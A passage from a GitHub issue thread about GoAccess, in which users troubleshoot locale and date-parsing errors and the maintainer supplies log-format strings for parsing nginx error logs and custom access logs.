hy_AM.UTF-8
no_NO.UTF-8
es_ES.UTF-8
de_AT
tr_TR.UTF-8
de_DE
lt_LT
tr_TR
C
POSIX
allinurl commented 1 year ago

@liuende501 locale should give you zh_CN.UTF-8. Otherwise it assumes you have a machine with English locale.

liuende501 commented 1 year ago

@allinurl i think the reason is that my logfile is not record by `zh_CN.UTF-8. But nginx record log always use English. i have change locale but still throw error

image

image

allinurl commented 1 year ago

@liuende501 now that you have your locale set to zh_CN, go ahead and use LC_TIME to parse an english date. e.g.,

LC_TIME="en_US.UTF-8" bash -c 'goaccess access.log --log-format=COMBINED'
ansdnrwp commented 1 year ago

@ansdnrwp Please try:

goaccess access.log --log-format=COMMON

thank you for the reply. I ran it according to your answer and confirmed that it works normally~!

liuende501 commented 1 year ago

@allinurl thank you for you reply. i must set LC_ALL= then it be success

output of terminal

image

Kokosnut commented 1 year ago

Allinurl, please help me to get the right request, piece of my log:

2023/01/20 02:05:10 [error] 56944#102761: *130796 open() "/usr/home/ac/public_html/wp-content/uploads/2020/05/1588413000_U-Ros-za-dobu-zare-strovano-9623-novih-vipadki-koronav-rusu-pomerli-57-os-b-oduzhali-1793.jpg" failed (2: No such file or directory), client: 129.146.98.232, server: ac.com, request: "GET /wp-content/uploads/2020/05/1588413000_U-Ros-za-dobu-zare-strovano-9623-novih-vipadki-koronav-rusu-pomerli-57-os-b-oduzhali-1793.jpg HTTP/1.1", host: "ac.com"
allinurl commented 1 year ago

@Kokosnut you will need to determine which fields you want to extract. Also, please take a look at this for more info on error log.

Kokosnut commented 1 year ago

@Kokosnut you will need to determine which fields you want to extract. Also, please take a look at this for more info on error log.

i need the following fields: client server request

Kokosnut commented 1 year ago

allinurl can you help me?

allinurl commented 1 year ago

@Kokosnut this should do it (assumes a consistent log):

goaccess error.log --log-format='%d %t %^"%^" %^ (%e) %^: %h, %^: %v, %^: "%r" %^' --date-format=%Y/%m/%d --time-format=%T
Kokosnut commented 1 year ago

How to add IP mapping to this request?

allinurl commented 1 year ago

@Kokosnut not sure I understand what you're after. The IP should already show up with the format I posted.

Kokosnut commented 1 year ago

I mean field - client., screenshot - http://joxi.ru/krD0xgWTGPK46r

allinurl commented 1 year ago

I believe that's the part I'm using for %h on my posted example. However, it looks like the screenshot you posted has a slightly different format that what you posted before.

Pavithra2320 commented 1 year ago

Hi Team , how do i proceed further with this error ,kindly guide

goaccess error

RyanZoou commented 1 year ago

@allinurl, please help me to get the right request, piece of my log: 09/Jul/2023:23:59:02 -0700|168.25.3.13|POST /api/helloword HTTP/1.1|200|-|168.24.17.24|alertOffline-3613203069_16049472|-|listing-search.p.chime.me|1626|0.062|0.061|127.0.0.1:82|357845629|16|uuid